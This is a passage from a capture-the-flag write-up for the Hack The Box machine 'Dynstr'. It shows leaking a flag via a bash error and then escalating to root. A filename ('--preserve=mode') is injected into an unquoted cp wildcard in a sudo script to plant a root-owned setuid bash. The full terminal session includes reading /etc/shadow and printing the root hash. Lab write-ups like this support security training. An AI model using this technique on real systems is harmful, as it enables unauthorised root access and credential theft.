sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /home/bindmgr/test.
/usr/local/bin/bindmgr.sh: line 28: [[: 350e23eb5cc5fbe1199876105561a1fe: value too great for base (error token is "350e23eb5cc5fbe1199876105561a1fe")
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
cp: cannot stat '*': No such file or directory
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors: 
    /etc/bind/named.conf.bindmgr:2: open: /etc/bind/named.bindmgr/*: file not found

YAY! We got the flag now! 350e23eb5cc5fbe1199876105561a1fe

⚠️ This might only work when the flag actually starts with a number. If it’s a letter it might not work but in none of my runs I hitted one of those, so if you’re unlucky, skip to next section.

root password hash

Getting the flag is always fun because we’re able to finish the box on HTB, BUT WE WANT MOAR!!! We want a shell!!! For this, we’re gonna need to get creative. So, we need to understand something about how bash (or shells in general) and commands in general process arguments and for that we’ll focus on this line of the script:

cp .version * /etc/bind/named.bindmgr/

What happens here, and probably the inverse of what you actually beleive, is that it’s not cp that processes, or interprets, the *. This is actually done by bash on a process named “Parameter Expansion” (described here and here). What this means is that before cp get’s to run, bash will evaluate the command line and, in this case, find an *, and replaces it with everything (files in this case) that matches. So if you have 3 files name file1, file2, file3 and a directory named dir and you issue the command cp * dir/, bash will evaluate it and pass it to cp as if it was cp file1 file2 file3 dir/ effectively copying all files into dir.

Now this isn’t normally a problem, but it this case it can be. The problem with the cp from the script is that * isn’t between "", efectively making it vulnerable some something like “parameter injection” (just what I call it, don’t know if there’s a fancy name for this). This would happen if for example file1 is named --link. The result is that the previous cp command while translate into cp --link file2 file3 dir/ making cp interpret that file as a parameter.

To exploit this, we’re gonna use the --preserve cp parameter which allows you to preserve some information from the source file in the destination file. What we really want is a shell, so we’ll make the script copy over a suid‘ed bash binary owned by root (since it’s the user running the script thanks to sudo). Here’s a fast “demo”:

bindmgr@dynstr:~/test$ rm .version 
bindmgr@dynstr:~/test$ echo 2 > .version
bindmgr@dynstr:~/test$ cp /bin/bash .
bindmgr@dynstr:~/test$ chmod +s bash
bindmgr@dynstr:~/test$ echo > "--preserve=mode"
bindmgr@dynstr:~/test$ ls -lha
total 1.2M
drwxrwxr-x 2 bindmgr bindmgr 4.0K Jun 16 03:06  .
drwxr-xr-x 6 bindmgr bindmgr 4.0K Jun 16 02:40  ..
-rwsr-sr-x 1 bindmgr bindmgr 1.2M Jun 16 03:05  bash
-rw-rw-r-- 1 bindmgr bindmgr    1 Jun 16 03:06 '--preserve=mode'
-rw-rw-r-- 1 bindmgr bindmgr    2 Jun 16 03:05  .version
bindmgr@dynstr:~/test$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /home/bindmgr/test.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors: 
    /etc/bind/named.bindmgr/bash:1: unknown option 'ELF...'
    /etc/bind/named.bindmgr/bash:14: unknown option 'hοΏ½Θ€EοΏ½'
    /etc/bind/named.bindmgr/bash:40: unknown option 'οΏ½YF'
    /etc/bind/named.bindmgr/bash:40: unexpected token near '}'
bindmgr@dynstr:~/test$ ls -lh /etc/bind/named.bindmgr/
total 1.2M
-rwsr-sr-x 1 root bind 1.2M Jun 16 03:06 bash
bindmgr@dynstr:~/test$ /etc/bind/named.bindmgr/bash -p
bash-5.0# id
uid=1001(bindmgr) gid=1001(bindmgr) euid=0(root) egid=117(bind) groups=117(bind),1001(bindmgr)
bash-5.0# head -n 1 /etc/shadow
root:$6$knCJjR0E8SuLyI5.$r7dGtVVY/Z6X0RQKxUvBZY4BQ3DwL7kHtu5YO9cclorPryKq489j2JqN262Ows/aRZvFkQ1R9uQyqoVWeS8ED1:18705:0:99999:7:::
bash-5.0# 

Just as a side note, when I first tried this I was using the -p parameter instead of --preserver=mode. Totally forgot that -p also means preserving ownership so the bash binary would end up being owned by bindmgr making the suid flag useless.

There we go, root shell and root password hash. Now the box is fully pwned πŸ˜‰.